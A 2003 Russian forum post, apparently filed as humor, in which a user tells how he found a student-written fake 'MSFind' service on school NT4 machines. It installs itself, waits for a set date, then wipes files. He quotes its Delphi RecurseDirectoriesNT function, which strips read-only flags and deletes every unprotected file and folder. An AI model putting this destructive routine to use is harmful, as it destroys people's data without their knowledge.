Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
|
Хех неплохо. Детки в клетке. 21.10.03 01:48 Число просмотров: 1097
Автор: Shnurok Статус: Незарегистрированный пользователь
|
|
<humor>
|
Тут меня училка одна знакомая попросила посмотреть компы в классе ИВТ ;-) 15.10.03 13:53
Автор: HandleX <Александр М.> Статус: The Elderman Отредактировано 15.10.03 17:14 Количество правок: 1
|
Говорит, постоянно на некоторых компах «система слетает и почти все файлы исчезают».
Согласился по старой дружбе...
Короче рыл рыл я один из этих компов — а там у них OS NT4, всякий софт... На факультативе Delphi некоторые изучают... Нашёл в системе странный сервис MSFind... Не помню я такого, снёс его нафиг, хотя даже копирайты MS в Version info проставлены ;-)
И вот, на одной из машинок нахожу проэкт с чудным названием MSFind.dpr — глянул и обомлел... Я бы сам наверное смог ТАКОЕ бы написать, но чтобы детки ;-) Хотя, может нарыли где... Итак, это прога, под NT инсталирует себя как сервис и висит доколе ен щёлкнет дата, указанная при инсталляции. Ниже привожу одну из функций этой весёлой проги...
А там ещё есть Mimicry(), InstallAsServiceForWin98() и RecurseDirectoriesWin9x;-)
Procedure RecurseDirectoriesNT(fromPath: WideString);
Function IsProtectedFile(Const aFileName: WideString): Bool;
Begin
Result := @SfcIsFileProtected <> Nil;
If Not Result Then Exit;
Result := SfcIsFileProtected(0, PWideChar(DWORD(PWideChar(aFileName)) + 8));
End;
Var
aFindData: Win32_Find_DataW;
fHndl: THandle;
aStr, rStr: WideString;
Begin
aStr := FromPath + .;
fHndl := FindFirstFileW(PWideChar(aStr), aFindData);
If fHndl = INVALID_HANDLE_VALUE Then Exit;
Repeat
If (WideString(aFindData.cFileName) = '.') Or (WideString(aFindData.cFileName) = '..') Then Continue;
If aFindData.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY = FILE_ATTRIBUTE_DIRECTORY Then
Begin
rStr := fromPath + aFindData.cFileName + '\';
RecurseDirectoriesNT(rStr);
If aFindData.dwFileAttributes And FILE_ATTRIBUTE_READONLY = FILE_ATTRIBUTE_READONLY Then
SetFileAttributesW(PWideChar(rStr), FILE_ATTRIBUTE_NORMAL);
RemoveDirectoryW(PWideChar(rStr));
Continue;
End;
rStr := FromPath + aFindData.cFileName;
If Not IsProtectedFile(rStr) Then
Begin
If aFindData.dwFileAttributes And FILE_ATTRIBUTE_READONLY = FILE_ATTRIBUTE_READONLY Then
SetFileAttributesW(PWideChar(rStr), FILE_ATTRIBUTE_NORMAL);
DeleteFileW(PWideChar(rStr));
End;
Until Not FindNextFileW(fHndl, aFindData);
FindClose(fHndl);
End;
---
|
|
Хех неплохо. Детки в клетке. 21.10.03 01:48
Автор: Shnurok Статус: Незарегистрированный пользователь
|
|
|
|